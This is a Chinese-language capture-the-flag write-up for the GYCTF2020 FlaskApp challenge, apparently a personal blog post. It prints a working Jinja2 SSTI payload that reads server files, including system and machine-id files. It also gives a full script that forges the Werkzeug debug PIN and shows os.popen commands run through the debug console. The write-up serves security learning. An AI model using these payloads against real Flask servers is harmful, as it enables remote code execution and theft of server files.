[GYCTF2020]FlaskApp WriteUp

考点:SSTI-Flask、Flask Debug模式、Flask PIN码

参考:

[题解]https://www.cnblogs.com/MisakaYuii-Z/p/12407760.html

[Flask Debug RCE利用]https://zhuanlan.zhihu.com/p/32138231

[Flask Debug PIN码生成机制]https://www.cnblogs.com/HacTF/p/8160076.html

1.获取提示

URL:/hint

提示:失败乃成功之母!!

指的是Debug模式,则需利用Flask Debug模式

2.获取报错信息

URL:/decode

base64解密界面随意输入字符串,导致解码报错,进入Debug页面,尝试进入Debug Console,发现需要PIN码

得到如下信息

  • Python版本:3.7
  • 文件地址:/usr/local/lib/python3.7/site-packages/flask/app.py
  • 可能存在SSTI,来源(Debug源码泄露) :return self.view_functions[rule.endpoint](**req.view_args)

2.SSTI读取关键文件

2-1 SSTI读取文件

 由于是Python 3.7,框架为Flask,我们使用的exp如下(其中filename为想要读取的文件)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

base64加密后,放入题目中解密即可

2-2 必须的信息

通过PIN码生成机制可知,需要获取如下信息

  1. 服务器运行flask所登录的用户名。通过/etc/passwd中可以猜测为flaskweb 或者root,此处用的flaskweb
  2. modname一般不变就是flask.app
  3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask,该值一般不变
  4. flask库下app.py的绝对路径报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
  5. 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address 获取(eth0为网卡名),本题为02:42:ae:01:0d:25,转换后为2485410401573
  6. 机器的id

mac地址转换代码

mac ='02:42:ae:01:0d:25'.replace(':','')
print(int(mac,base=16))

2-3 获取机器的ID

对于非docker机每一个机器都会有自已唯一的id

Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件

Windows:阅读参考链接

docker机:/proc/self/cgroup

本题读取到/proc/self/cgroup如下

则ID为:eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990

3.计算PIN码

生成文件路径:{Python Lib根目录}\site-packages\werkzeug\debug\__init__.py

本题中路径:/usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py (读取失败)

改为下载Flask源码进行研究,通关精简,最后的生成代码如下

import hashlib
from itertools import chain

probably_public_bits = [
    'flaskweb',#服务器运行flask所登录的用户名
    'flask.app',#modname
    'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
    '/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径
]

private_bits = [
    '2485410401573',#当前网络的mac地址的十进制数
    'eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990'#机器的id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)

计算得到ID为 147-718-817

4.寻找Flag

由于无法直接获取到程序回显,使用 os.popen("exp").read() 代替 os.system("exp") 

os.popen("ls -l /").read()
os.popen("cat /this_is_the_flag.txt").read()

成功读取到Flag

posted @ 2020-05-05 20:26  KanoWill  阅读(881)  评论(0编辑  收藏  举报